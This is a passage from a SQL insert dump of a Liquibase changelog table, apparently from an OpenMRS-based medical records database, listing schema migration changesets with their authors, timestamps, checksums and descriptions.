07:12:20',10550,'EXECUTED','3:8553abd1173bf56dad911a11ec0924ce','Add Column','Adding dosing_instructions column to drug_order table',NULL,'2.0.5'),('201312171559-TRUNK-4159','k-joseph','liquibase-update-to-latest.xml','2016-10-27 07:12:20',10549,'EXECUTED','3:0735c719adcee97fbe967460d05bb474','Create Table, Add Foreign Key Constraint (x4)','Create the order_frequency table',NULL,'2.0.5'),('201312181649-TRUNK-4137','k-joseph','liquibase-update-to-latest.xml','2016-10-27 07:12:24',10562,'EXECUTED','3:278cff9c9abc7864dd71bf4cba04c885','Add Column, Add Foreign Key Constraint','Adding frequency column to test_order table',NULL,'2.0.5'),('201312181650-TRUNK-4137','k-joseph','liquibase-update-to-latest.xml','2016-10-27 07:12:24',10563,'EXECUTED','3:c28fa1a77bec305b4d8d23fda254f320','Add Column','Adding number_of_repeats column to test_order table',NULL,'2.0.5'),('201312182214-TRUNK-4136','k-joseph','liquibase-update-to-latest.xml','2016-10-27 07:12:22',10556,'EXECUTED','3:5091764b71670065672afcb69d18efae','Add Column, Add Foreign Key Constraint','Adding route column to drug_order table',NULL,'2.0.5'),('201312182223-TRUNK-4136','k-joseph','liquibase-update-to-latest.xml','2016-10-27 07:12:23',10557,'EXECUTED','3:aea033991dfc56954d1661fdf15c35f7','Drop Column','Dropping equivalent_daily_dose column from drug_order table',NULL,'2.0.5'),('201312191200-TRUNK-4167','banka','liquibase-update-to-latest.xml','2016-10-27 07:12:23',10558,'EXECUTED','3:b6a84072096cf71ca37dc160d0422a2d','Add Column','Adding dose_units column to drug_order table',NULL,'2.0.5'),('201312191300-TRUNK-4167','banka','liquibase-update-to-latest.xml','2016-10-27 07:12:23',10559,'EXECUTED','3:c1bb6f3394f9c391288f2d51384edd3e','Add Foreign Key Constraint','Adding foreignKey constraint on dose_units',NULL,'2.0.5'),('201312201200-TRUNK-4167','banka','liquibase-update-to-latest.xml','2016-10-27 07:12:23',10560,'MARK_RAN','3:c72cd1725e670ea735fc45e6f0f31001','Custom Change','Migrating old text units to coded dose_units in drug_order',NULL,'2.0.5'),('201312201425-TRUNK-4138','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:24',10566,'MARK_RAN','3:e6e37b7b995e2da28448f815211648fd','Update Data','Setting order.discontinued_reason to null for stopped orders',NULL,'2.0.5'),('201312201523-TRUNK-4138','banka','liquibase-update-to-latest.xml','2016-10-27 07:12:24',10565,'EXECUTED','3:8d48725ba6d40d8a19acec61c948a52f','Custom Change','Creating Discontinue Order for discontinued orders',NULL,'2.0.5'),('201312201525-TRUNK-4138','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:24',10567,'MARK_RAN','3:c751cbf452be8b2c05af6d6502ff5dc9','Update Data','Setting orders.discontinued_reason_non_coded to null for stopped orders',NULL,'2.0.5'),('201312201601-TRUNK-4138','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:25',10569,'EXECUTED','3:43505eb22756ea5ec6bee4f8ad750034','Drop Foreign Key Constraint','Dropping fk constraint on orders.discontinued_by column to users.user_id column',NULL,'2.0.5'),('201312201640-TRUNK-4138','banka','liquibase-update-to-latest.xml','2016-10-27 07:12:24',10564,'EXECUTED','3:174ed15d1066200fe48c3ed2b7a262ae','Rename Column','Rename orders.discontinued_date to date_stopped',NULL,'2.0.5'),('201312201651-TRUNK-4138','banka','liquibase-update-to-latest.xml','2016-10-27 07:12:24',10568,'EXECUTED','3:2ccbe6dad392099d9b6dc49e40736879','Drop Column','Removing discontinued from orders',NULL,'2.0.5'),('201312201700-TRUNK-4138','banka','liquibase-update-to-latest.xml','2016-10-27 07:12:25',10570,'EXECUTED','3:1c570e49534bf886108654c28a99bede','Drop Column','Removing discontinued_by from orders',NULL,'2.0.5'),('201312201800-TRUNK-4167','banka','liquibase-update-to-latest.xml','2016-10-27 07:12:24',10561,'EXECUTED','3:8ff2338c8a1df329476e9e60c8ddc7f6','Drop Column','Deleting units column',NULL,'2.0.5'),('201312271822-TRUNK-4156','vinay','liquibase-update-to-latest.xml','2016-10-27 07:12:27',10576,'EXECUTED','3:9e6ef6a4a036e5ff027a6c49557b2939','Create Table, Add Foreign Key Constraint (x3)','Adding care_setting table',NULL,'2.0.5'),('201312271823-TRUNK-4156','vinay','liquibase-update-to-latest.xml','2016-10-27 07:12:27',10577,'EXECUTED','3:036031e437f2baae976f103900455644','Insert Row','Adding OUTPATIENT care setting',NULL,'2.0.5'),('201312271824-TRUNK-4156','vinay','liquibase-update-to-latest.xml','2016-10-27 07:12:27',10578,'EXECUTED','3:b78e4eb1e63a9ca78a51c42f1e2edb00','Insert Row','Adding INPATIENT care setting',NULL,'2.0.5'),('201312271826-TRUNK-4156','vinay','liquibase-update-to-latest.xml','2016-10-27 07:12:28',10579,'EXECUTED','3:142266f644d20a834b2c687abf45f019','Add Column','Add care_setting column to orders table',NULL,'2.0.5'),('201312271827-TRUNK-4156','vinay','liquibase-update-to-latest.xml','2016-10-27 07:12:28',10580,'MARK_RAN','3:ba1d0716249a5f1bde5eec83c190400f','Custom SQL','Set default value for orders.care_setting column for existing rows',NULL,'2.0.5'),('201312271828-TRUNK-4156','vinay','liquibase-update-to-latest.xml','2016-10-27 07:12:28',10581,'EXECUTED','3:7c6fcd23f2fdbcc69ad06bcdd34cb56f','Add Not-Null Constraint','Make care_setting column non-nullable',NULL,'2.0.5'),('201312271829-TRUNK-4156','vinay','liquibase-update-to-latest.xml','2016-10-27 07:12:29',10582,'EXECUTED','3:dc55b130e1d56c8df00b06a5dedd2689','Add Foreign Key Constraint','Add foreign key constraint',NULL,'2.0.5'),('201401031433-TRUNK-4135','rkorytkowski','liquibase-update-to-latest.xml','2016-10-27 07:12:25',10571,'EXECUTED','3:1e90a9f5f6ffab47ac360dec7497d2f9','Rename Column','Temporarily renaming drug_order.frequency column to frequency_text',NULL,'2.0.5'),('201401031434-TRUNK-4135','rkorytkowski','liquibase-update-to-latest.xml','2016-10-27 07:12:26',10572,'EXECUTED','3:59eef75e78e64cdc999a6d25863c921d','Add Column, Add Foreign Key Constraint','Adding the frequency column to the drug_order table',NULL,'2.0.5'),('201401040436-TRUNK-3919','dkithmal','liquibase-update-to-latest.xml','2016-10-27 07:12:14',10517,'EXECUTED','3:2fde2a2c0d2a917cd7ec0dfc990b96ac','Add Column, Add Foreign Key Constraint','Add changed_by column to location_tag table',NULL,'2.0.5'),('201401040438-TRUNK-3919','dkithmal','liquibase-update-to-latest.xml','2016-10-27 07:12:15',10518,'EXECUTED','3:134b00185f7b61d7d6cccb66717dc4ae','Add Column','Add date_changed column to location_tag table',NULL,'2.0.5'),('201401040440-TRUNK-3919','dkithmal','liquibase-update-to-latest.xml','2016-10-27 07:12:15',10519,'EXECUTED','3:2f3b927e3554c31abebb064835da2efc','Add Column, Add Foreign Key Constraint','Add changed_by column to location table',NULL,'2.0.5'),('201401040442-TRUNK-3919','dkithmal','liquibase-update-to-latest.xml','2016-10-27 07:12:16',10520,'EXECUTED','3:6cf087a28acd99c02c00fd719a26e73b','Add Column','Add date_changed column to location table',NULL,'2.0.5'),('201401101647-TRUNK-4187','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:16',10521,'EXECUTED','3:d41d8cd98f00b204e9800998ecf8427e','Empty','Checks that all existing free text drug order dose units and frequencies have been mapped to\n concepts, this will fail the upgrade process if any unmapped text is found',NULL,'2.0.5'),('201402041600-TRUNK-4138','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:31',10584,'EXECUTED','3:a09f49aa170ede88187564ce4834956e','Drop Foreign Key Constraint','Temporary dropping foreign key on orders.discontinued_reason column',NULL,'2.0.5'),('201402041601-TRUNK-4138','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:31',10585,'EXECUTED','3:09293693ccab9bd63f0bacbf1229e6b5','Rename Column','Renaming orders.discontinued_reason column to order_reason',NULL,'2.0.5'),('201402041602-TRUNK-4138','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:32',10586,'EXECUTED','3:b93897a56c7e2407d694bd47b9f3ff56','Add Foreign Key Constraint','Adding back foreign key on orders.discontinued_reason column',NULL,'2.0.5'),('201402041604-TRUNK-4138','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:32',10587,'EXECUTED','3:bf80640132c97067d42dabbebd10b7df','Rename Column','Renaming orders.discontinued_reason_non_coded column to order_reason_non_coded',NULL,'2.0.5'),('201402042238-TRUNK-4202','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:33',10589,'MARK_RAN','3:e74c6d63ac01908cc6fb6f3e9b15e2e0','Custom Change','Converting orders.orderer to reference provider.provider_id',NULL,'2.0.5'),('201402051638-TRUNK-4202','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:33',10588,'EXECUTED','3:ddff1dba0827858324336de9baeb93aa','Drop Foreign Key Constraint','Temporarily removing foreign key constraint from orders.orderer column',NULL,'2.0.5'),('201402051639-TRUNK-4202','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:33',10590,'EXECUTED','3:32f643ae7a3cafe84fc11208e116cbf0','Add Foreign Key Constraint','Adding foreign key constraint to orders.orderer column',NULL,'2.0.5'),('201402120720-TRUNK-3902','k-joseph','liquibase-update-to-latest.xml','2016-10-27 07:12:36',10600,'MARK_RAN','3:7ce90e7459b6b840b7d3f246b6ca697b','Rename Column','Rename concept_numeric.precise to concept_numeric.allow_decimal',NULL,'2.0.5'),('201402241055','Akshika','liquibase-update-to-latest.xml','2016-10-27 07:12:17',10536,'EXECUTED','3:10f872c80393f2cb4d1126ec59b54676','Modify Column','Making orders.start_date not nullable',NULL,'2.0.5'),('201402281648-TRUNK-4274','k-joseph','liquibase-update-to-latest.xml','2016-10-27 07:12:17',10537,'EXECUTED','3:1efc6af34de0b0e83ce217febe1c9fa7','Modify Column','Making order.encounter required',NULL,'2.0.5'),('201403011348','alexisduque','liquibase-update-to-latest.xml','2016-10-27 07:12:34',10591,'EXECUTED','3:117c4ea0b0cd79e21a59b5769d020c93','Modify Column','Make orders.orderer not NULLable',NULL,'2.0.5'),('20140304-TRUNK-4170-duplicateLocationAttributeTypeNameChangeSet','harsz89','liquibase-update-to-latest.xml','2016-10-27 07:12:36',10601,'MARK_RAN','3:b74878260cae25b9c209d1b6ea5ddb98','Custom Change','Custom changeset to identify and resolve duplicate Location Attribute Type names',NULL,'2.0.5'),('20140304-TRUNK-4170-location_attribute_type_unique_name','harsz89','liquibase-update-to-latest.xml','2016-10-27 07:12:37',10602,'EXECUTED','3:e11205616b3ee4ad727a2c5031dee884','Add Unique Constraint','Adding the unique constraint to the location_attribute_type.name column',NULL,'2.0.5'),('20140304816-TRUNK-4139','Akshika','liquibase-update-to-latest.xml','2016-10-27 07:12:34',10593,'EXECUTED','3:0d0ffd19df0598f644c863d931abccd2','Add Column','Adding scheduled_date column to orders table',NULL,'2.0.5'),('201403061758-TRUNK-4284','Banka, Vinay','liquibase-update-to-latest.xml','2016-10-27 07:12:34',10592,'EXECUTED','3:008c6f185b3c571b57031314beda2b8f','Insert Row','Inserting Frequency concept class',NULL,'2.0.5'),('201403070132-TRUNK-4286','andras-szell','liquibase-update-to-latest.xml','2016-10-27 07:12:16',10535,'EXECUTED','3:292b7549e0ae96619a6e4fcc30383592','Insert Row','Insert order type for test orders',NULL,'2.0.5'),('20140313-TRUNK-4288','dszafranek','liquibase-update-to-latest.xml','2016-10-27 07:12:34',10594,'EXECUTED','3:3f2f0f3c1bcfe74253de58d32f811e11','Create Table, Add Foreign Key Constraint (x2), Add Primary Key','Add order_type_class_map table',NULL,'2.0.5'),('20140314-TRUNK-4283','dszafranek, wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:16',10522,'EXECUTED','3:d41d8cd98f00b204e9800998ecf8427e','Empty','Checking that all orders have start_date column set',NULL,'2.0.5'),('20140316-TRUNK-4283','dszafranek, wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:16',10524,'EXECUTED','3:d41d8cd98f00b204e9800998ecf8427e','Empty','Checking that all orders have encounter_id column set',NULL,'2.0.5'),('20140318-TRUNK-4265','jkondrat','liquibase-update-to-latest.xml','2016-10-27 07:12:35',10595,'EXECUTED','3:01f3e7e45562865ed7855cea0b7ccd30','Merge Column, Update Data','Concatenate dose_strength and units to form the value for the new strength field',NULL,'2.0.5'),('201403262140-TRUNK-4265','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:16',10525,'EXECUTED','3:d41d8cd98f00b204e9800998ecf8427e','Empty','Checking if there are any drugs with the dose_strength specified but no units',NULL,'2.0.5'),('201404091110','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:16',10526,'EXECUTED','3:d41d8cd98f00b204e9800998ecf8427e','Empty','Checking if order_type table is already up to date or can be updated automatically',NULL,'2.0.5'),('201404091112','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:16',10530,'EXECUTED','3:2bf52dfa949ba06b05016ce4eb08034b','Add Unique Constraint','Adding unique key constraint to order_type.name column',NULL,'2.0.5'),('201404091128','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:16',10531,'EXECUTED','3:f96fd12ecf53fb18143450f7a0b9c1d9','Add Column','Adding java_class_name column to order_type table',NULL,'2.0.5'),('201404091129','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:16',10532,'EXECUTED','3:d018fdec6bcd0775032bd8df67f57a77','Add Column','Adding parent column to order_type table',NULL,'2.0.5'),('201404091131','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:16',10534,'EXECUTED','3:accf143fbe21963d2ea7fb211424ed4f','Add Not-Null Constraint','Add not-null constraint on order_type.java_class_name column',NULL,'2.0.5'),('201404091516','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:35',10596,'EXECUTED','3:8c5d2f8c49bf08514911c24f60c065e0','Add Column, Add Foreign Key Constraint','Add changed_by column to order_type table',NULL,'2.0.5'),('201404091517','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:36',10597,'EXECUTED','3:24b9f5757f0dec2a910daab2dd138ce1','Add Column','Add date_changed column to order_type table',NULL,'2.0.5'),('201404101130','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:16',10533,'EXECUTED','3:0b986790bfacfc61e7ec851a4e4fbded','Update Data','Setting java_class_name column for drug order type row',NULL,'2.0.5'),('201406201443','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:36',10598,'EXECUTED','3:c1cf2edbf71074e2740d975d89ca202d','Add Column','Add brand_name column to drug_order table',NULL,'2.0.5'),('201406201444','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:36',10599,'EXECUTED','3:da7c9042e009a4cbe61746bd8bf13d12','Add Column','Add dispense_as_written column to drug_order table',NULL,'2.0.5'),('201406211643-TRUNK-4401','harsz89','liquibase-update-to-latest.xml','2016-10-27 07:12:16',10528,'EXECUTED','3:d41d8cd98f00b204e9800998ecf8427e','Empty','Checking that all discontinued orders have the discontinued_date column set',NULL,'2.0.5'),('201406211703-TRUNK-4401','harsz89','liquibase-update-to-latest.xml','2016-10-27 07:12:16',10529,'EXECUTED','3:d41d8cd98f00b204e9800998ecf8427e','Empty','Checking that all discontinued orders have the discontinued_by column set',NULL,'2.0.5'),('201406262016','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:16',10527,'EXECUTED','3:d41d8cd98f00b204e9800998ecf8427e','Empty','Checking that all users that created orders have provider accounts',NULL,'2.0.5'),('20140635-TRUNK-4283','dszafranek, wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:16',10523,'EXECUTED','3:d41d8cd98f00b204e9800998ecf8427e','Empty','Checking that all orders have orderer column set',NULL,'2.0.5'),('20140715-TRUNK-2999-remove_concept_word','rkorytkowski','liquibase-update-to-latest.xml','2016-10-27 07:12:37',10603,'EXECUTED','3:4ff8bd1176165ac45c42809673d7d12d','Drop Table','Removing the concept_word table (replaced by Lucene)',NULL,'2.0.5'),('20140718-TRUNK-2999-remove_update_concept_index_task','rkorytkowski','liquibase-update-to-latest.xml','2016-10-27 07:12:37',10604,'EXECUTED','3:a0ca6ff43de07e00f6a494c5b2964de5','Delete Data','Deleting the update concept index task',NULL,'2.0.5'),('20140719-TRUNK-4445-update_dosing_type_to_varchar_255','mihir','liquibase-update-to-latest.xml','2016-10-27 07:12:38',10607,'EXECUTED','3:2948bf1441141d7f36e34cea1cdfb72a','Modify data type','Increase size of dosing type column to 255 characters',NULL,'2.0.5'),('20140724-1528','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:37',10605,'EXECUTED','3:ad5fee02995c649c4b87d5991f5f3723','Drop Default Value','Dropping default value for drug_order.drug_inventory_id',NULL,'2.0.5'),('20140801-TRUNK-4443-rename_order_start_date_to_date_activated','bharti','liquibase-update-to-latest.xml','2016-10-27 07:12:37',10606,'EXECUTED','3:fde9246d6d3b98ac8e64361818ece22c','Rename Column','Renaming the start_date in order table to date_activated',NULL,'2.0.5'),('201408200733-TRUNK-4446','Deepak','liquibase-update-to-latest.xml','2016-10-27 07:12:38',10608,'EXECUTED','3:95a533365792e76a4cd95f8f32c887db','Modify data type','Changing duration column of drug_order to int',NULL,'2.0.5'),('201409230113-TRUNK-3484','k-joseph','liquibase-update-to-latest.xml','2016-10-27 07:12:39',10611,'MARK_RAN','3:7a9c7aad5b657556b1103510f8bfc1d9','Update Data','Updating description for visits.encounterTypeToVisitTypeMapping GP to the value set in OpenmrsContants',NULL,'2.0.5'),('20141010-trunk-4492','alec','liquibase-update-to-latest.xml','2016-10-27 07:12:40',10613,'MARK_RAN','3:fbe1f44dafa30068cd7c99a6713f8ee4','Drop Column','Dropping the tribe field from patient table because it has been moved to person_attribute.',NULL,'2.0.5'),('201410291606-TRUNK-3474','jbuczynski','liquibase-update-to-latest.xml','2016-10-27 07:12:40',10614,'EXECUTED','3:03757abe17abedb9ac1cf0b933a35139','Drop Not-Null Constraint','Dropping not null constraint from program.description column',NULL,'2.0.5'),('201410291613-TRUNK-3474','jbuczynski','liquibase-update-to-latest.xml','2016-10-27 07:12:40',10615,'EXECUTED','3:32fa9bee757a0ca295e1545662051b96','Drop Not-Null Constraint','Dropping not null constraint from order_type.description column',NULL,'2.0.5'),('201410291614-TRUNK-3474','jbuczynski','liquibase-update-to-latest.xml','2016-10-27 07:12:40',10616,'EXECUTED','3:8623cbc44ba289fa096e0b5ee4eeaf11','Drop Not-Null Constraint','Dropping not null constraint from concept_name_tag.description column',NULL,'2.0.5'),('201410291616-TRUNK-3474','jbuczynski','liquibase-update-to-latest.xml','2016-10-27 07:12:41',10617,'EXECUTED','3:4393a565e9dad85e69c1cfcd9836d957','Drop Not-Null Constraint','Dropping not null constraint from active_list_type.description column',NULL,'2.0.5'),('20141103-1030','wyclif','liquibase-update-to-latest.xml','2016-10-27 07:12:41',10618,'EXECUTED','3:2b1a52ce2e496ec391e63ce4d9758226','Add Column','Adding form_namespace_and_path column to obs table',NULL,'2.0.5'),('20141121-TRUNK-2193','raff','liquibase-update-to-latest.xml','2016-10-27 07:12:41',10619,'EXECUTED','3:5c3daa4f68e3e650f53b63496a831295','Rename Column','Renaming drug_ingredient.quantity to strength',NULL,'2.0.5'),('20150122-1414','rkorytkowski','liquibase-update-to-latest.xml','2016-10-27 07:11:49',10332,'EXECUTED','3:b662cac19085b837d902916f20a27da9','Update Data','Reverting concept name type to NULL for concepts having names tagged as default',NULL,'2.0.5'),('20150122-1420','rkorytkowski','liquibase-update-to-latest.xml','2016-10-27 07:11:49',10333,'EXECUTED','3:c75793ade72db0648a912f22f79cf461','Update Data, Delete Data (x2)','Setting concept name type to fully specified for names tagged as default',NULL,'2.0.5'),('20150428-TRUNK-4693-1','mseaton','liquibase-update-to-latest.xml','2016-10-27 07:12:39',10609,'MARK_RAN','3:599624d822c5f7a0d9bc796c4e90a526','Drop Foreign Key Constraint','Removing invalid foreign key constraint from order_type.parent column to order.order_id column',NULL,'2.0.5'),('20150428-TRUNK-4693-2','mseaton','liquibase-update-to-latest.xml','2016-10-27 07:12:39',10610,'EXECUTED','3:706418216753f16ce1b5eb0c45c21e24','Add Foreign Key Constraint','Adding foreign key constraint from order_type.parent column to order_type.order_type_id column',NULL,'2.0.5'),('201506051103-TRUNK-4727','<NAME>','liquibase-update-to-latest.xml','2016-10-27 07:12:41',10620,'EXECUTED','3:91fd51bed950b30f1b0532b5bdc041cc','Add Column','Adding birthtime column to person',NULL,'2.0.5'),('201508111304','sns.recommind','liquibase-update-to-latest.xml','2016-10-27 07:12:42',10621,'EXECUTED','3:75a849aa0d9c54bb2e052e6a8875d443','Create Index','Add an index to the global_property.property column',NULL,'2.0.5'),('201508111412','sns.recommind','liquibase-update-to-latest.xml','2016-10-27 07:12:42',10622,'EXECUTED','3:226edcaabe81261347e3da63e5321b3f','Create Index','Add an index to the concept_class.name column',NULL,'2.0.5'),('201508111415','sns.recommind','liquibase-update-to-latest.xml','2016-10-27 07:12:42',10623,'EXECUTED','3:ee7859e5c5d801c0125fe02449c1c53b','Create Index','Add an index to the concept_datatype.name column',NULL,'2.0.5'),('3-increase-privilege-col-size-person_attribute_type','dkayiwa','liquibase-update-to-latest.xml','2016-10-27 07:12:08',10489,'EXECUTED','3:c2465b2417463d93f1101c6683f41250','Drop Foreign Key Constraint, Modify Column, Add Foreign Key Constraint','Increasing the size of the edit_privilege column in the person_attribute_type table',NULL,'2.0.5'),('cohortattribute1065','sharon','liquibase.xml','2016-10-27 07:13:09',10660,'EXECUTED','3:15966f228b5ee4aeeb535b9fe0bd8569','Create Table','',NULL,'2.0.5'),('cohortattritype1065','sharon','liquibase.xml','2016-10-27 07:13:08',10657,'EXECUTED','3:8feb8056e115c0a5781e153cb3cf6aa9','Create Table','',NULL,'2.0.5'),('cohortenco1065','sharon','liquibase.xml','2016-10-27 07:13:09',10664,'EXECUTED','3:03b7e4692c7a56fac057cdac4a11f7fb','Create Table','',NULL,'2.0.5'),('cohortmodul1065','sharon','liquibase.xml','2016-10-27 07:13:08',10658,'EXECUTED','3:520800e6e91d3e802ac22a086e5b9cb2','Create Table','',NULL,'2.0.5'),('cohortobs1065','sharon','liquibase.xml','2016-10-27 07:13:09',10665,'EXECUTED','3:c956d5ee2f4703ce5f615a00fc55bf48','Create Table','',NULL,'2.0.5'),('cohortprgm1065','sharon','liquibase.xml','2016-10-27 07:13:08',10656,'EXECUTED','3:83c1ec9bc2039e06d349c141c75977f1','Create Table','',NULL,'2.0.5'),('cohortrole1065','sharon','liquibase.xml','2016-10-27 07:13:08',10655,'EXECUTED','3:22e51277c391b1f69e4266b70dc11933','Create Table','',NULL,'2.0.5'),('cohorttype1065','sharon','liquibase.xml','2016-10-27 07:13:08',10654,'EXECUTED','3:db22f4da2cc687986a7877dba9ba21f2','Create Table','',NULL,'2.0.5'),('cohort_member1065','sharon','liquibase.xml','2016-10-27 07:13:08',10659,'EXECUTED','3:5134b35e27e0fba95b04fd7a0d096020','Create Table','',NULL,'2.0.5'),('cohort_memberattribute1065','sharon','liquibase.xml','2016-10-27 07:13:09',10662,'EXECUTED','3:3b7a470cfadadfd75f6c22d5f6b4d257','Create Table','',NULL,'2.0.5'),('cohort_memberattributetype1065','sharon','liquibase.xml','2016-10-27 07:13:09',10661,'EXECUTED','3:aeaf4791d556053397f922864be70da5','Create Table','',NULL,'2.0.5'),('cohort_visit1065','sharon','liquibase.xml','2016-10-27 07:13:09',10663,'EXECUTED','3:49411fd9048d78eca757f86e7a944dcb','Create Table','',NULL,'2.0.5'),('disable-foreign-key-checks','ben','liquibase-core-data.xml','2016-10-27 07:11:15',10017,'EXECUTED','3:cc124077cda1cfb0c70c1ec823551223','Custom SQL','',NULL,'2.0.5'),('drop-tribe-foreign-key-TRUNK-4492','dkayiwa','liquibase-update-to-latest.xml','2016-10-27 07:12:40',10612,'MARK_RAN','3:6f02e3203c3fe5414a44106b8f16e3cd','Drop Foreign Key Constraint','Dropping foreign key on patient.tribe',NULL,'2.0.5'),('enable-foreign-key-checks','ben','liquibase-core-data.xml','2016-10-27 07:11:16',10041,'EXECUTED','3:fcfe4902a8f3eda10332567a1a51cb49','Custom SQL','',NULL,'2.0.5'),('htmlformentry_html_form_add_date_retired','<NAME>','liquibase.xml','2016-10-27 07:13:06',10648,'EXECUTED','3:0fae116e77e9245e48b2fd0136e4554a','Add Column','Update htmlformentry_html_form table to contain date_retired column',NULL,'2.0.5'),('htmlformentry_html_form_add_description','<NAME>','liquibase.xml','2016-10-27 07:13:06',10646,'EXECUTED','3:b7dfa8d556e716719a689003445420f7','Add Column','Update htmlformentry_html_form table to contain description column',NULL,'2.0.5'),('htmlformentry_html_form_add_foreign_key_to_retired_by','<NAME>','liquibase.xml','2016-10-27 07:13:07',10650,'EXECUTED','3:389e17a21881a440779fccf908ea7b04','Add Foreign Key Constraint','Add foreign key user_who_retired_html_form',NULL,'2.0.5'),('htmlformentry_html_form_add_retired_by','<NAME>','liquibase.xml','2016-10-27 07:13:06',10647,'EXECUTED','3:b914df13901c5c347a2c2b0cc9fde952','Add Column','Update htmlformentry_html_form table to contain retired_by column',NULL,'2.0.5'),('htmlformentry_html_form_add_retire_reason','<NAME>','liquibase.xml','2016-10-27 07:13:06',10649,'EXECUTED','3:b6188c841d77a9d8096df93d9b5c96c0','Add Column','Update htmlformentry_html_form table to contain retire_reason column',NULL,'2.0.5'),('htmlformentry_html_form_add_uuid','<NAME>','liquibase.xml','2016-10-27 07:13:05',10645,'EXECUTED','3:41465834e3be18b330612636d544ff27','Add Column','Update htmlformentry_html_form table to contain uuid column',NULL,'2.0.5'),('htmlformentry_html_form_create_index_for_uuid','<NAME>','liquibase.xml','2016-10-27 07:13:07',10652,'EXECUTED','3:d4625a37da17b4b98970ac8bb18c8d12','Create Index','Create index htmlformentry_html_form_uuid_index',NULL,'2.0.5'),('htmlformentry_html_form_create_table','<NAME>','liquibase.xml','2016-10-27 07:13:05',10644,'EXECUTED','3:d5454959fd46822d8f742e79204e8713','Create Table, Add Foreign Key Constraint (x3)','Create table htmlformentry_html_form, for storing html form templates',NULL,'2.0.5'),('htmlformentry_html_form_make_name_nullable','<NAME>','liquibase.xml','2016-10-27 07:13:08',10653,'EXECUTED','3:14ec9c7c2b697ce0a3da0371da162991','Modify Column','Make name column nullable (because we\'re deprecating it)',NULL,'2.0.5'),('htmlformentry_html_form_update_uuid','<NAME>','liquibase.xml','2016-10-27 07:13:07',10651,'EXECUTED','3:069c77d949f8a9c1a9d300057157fc95','Custom SQL, Modify Column','Remove null values from uuid column',NULL,'2.0.5'),('opensrp-atomfeed-20160719-1','maimoonak','liquibase.xml','2016-10-27 07:12:54',10625,'EXECUTED','3:a40f982dd446bb0180388b3e4ef6d4e0','Create Table','',NULL,'2.0.5'),('opensrp-atomfeed-20160719-2','maimoonak','liquibase.xml','2016-10-27 07:12:54',10626,'EXECUTED','3:b8b74320f61978c427932df8902e4e58','Create Table','',NULL,'2.0.5'),('opensrp-atomfeed-20160719-3','maimoonak','liquibase.xml','2016-10-27 07:12:54',10627,'EXECUTED','3:e8c753c38cfb25c50c4249ec84429e4c','Create Table','',NULL,'2.0.5'),('opensrp-atomfeed-20160719-5','Hemanth','liquibase.xml','2016-10-27 07:12:54',10628,'EXECUTED','3:3a5649b540435525e947a2b595e20282','Create Table','',NULL,'2.0.5'),('opensrp-atomfeed-20160719-6','tw','liquibase.xml','2016-10-27 07:12:54',10629,'EXECUTED','3:4c78c5cce276151886c80a0c39001a2a','Insert Row','',NULL,'2.0.5'),('opensrp-atomfeed-20160719-7','<NAME>','liquibase.xml','2016-10-27 07:12:54',10630,'EXECUTED','3:5db4ef15d594ec4dae9011474ae63e5d','Insert Row','Default chunking history entry if doesn\'t exist.',NULL,'2.0.5'),('opensrp-atomfeed-20160721-1','maimoonak','liquibase.xml','2016-10-27 07:12:54',10631,'EXECUTED','3:ad9f2cb4852ea8baf2a0b4041b80a266','Create Table','',NULL,'2.0.5'),('reporting_id_set_cleanup','mseaton','liquibase.xml','2016-10-27 07:13:15',10683,'MARK_RAN','3:01cd3b88ed5e29b64b55d614d419cd2b','Drop Table','Removing reporting_idset table that is no longer used',NULL,'2.0.5'),('reporting_migration_1','mseaton','liquibase.xml','2016-10-27 07:13:15',10681,'EXECUTED','3:f6ea0df533cc324ea0d6275d72980c78','Custom SQL (x2)','Remove OpenMRS scheduled tasks produced by the reporting module',NULL,'2.0.5'),('reporting_migration_2','mseaton','liquibase.xml','2016-10-27 07:13:15',10682,'EXECUTED','3:4fb91f1875cf874314393aa47c71ca83','Custom SQL','Rename the default web renderer',NULL,'2.0.5'),('reporting_report_design_1','mseaton','liquibase.xml','2016-10-27 07:13:11',10666,'EXECUTED','3:482e8981e0dce9476eaf481167719579','Create Table, Add Foreign Key Constraint (x4)','Create table to persist report design specifications',NULL,'2.0.5'),('reporting_report_design_2','mseaton','liquibase.xml','2016-10-27 07:13:11',10667,'EXECUTED','3:027dbe5aeecbd08ecb7b5986a25307de','Add Column, Custom SQL','',NULL,'2.0.5'),('reporting_report_design_3','mseaton','liquibase.xml','2016-10-27 07:13:11',10668,'EXECUTED','3:8cac36c2cf24b842b8add2a5cfbb0df1','Custom SQL','',NULL,'2.0.5'),('reporting_report_design_4','mseaton','liquibase.xml','2016-10-27 07:13:11',10669,'EXECUTED','3:bddba97d81d6daa7fd6fbb478897fd84','Drop Foreign Key Constraint','',NULL,'2.0.5'),('reporting_report_design_5','mseaton','liquibase.xml','2016-10-27 07:13:12',10670,'EXECUTED','3:e7dbeb93443f14c60ed2e7cd6aa1e94f','Create Index','',NULL,'2.0.5'),('reporting_report_design_6','mseaton','liquibase.xml','2016-10-27 07:13:12',10671,'EXECUTED','3:e37eef4a9c8063b4abdb8481dd8fe5f8','Drop Column','Step 4 in changing 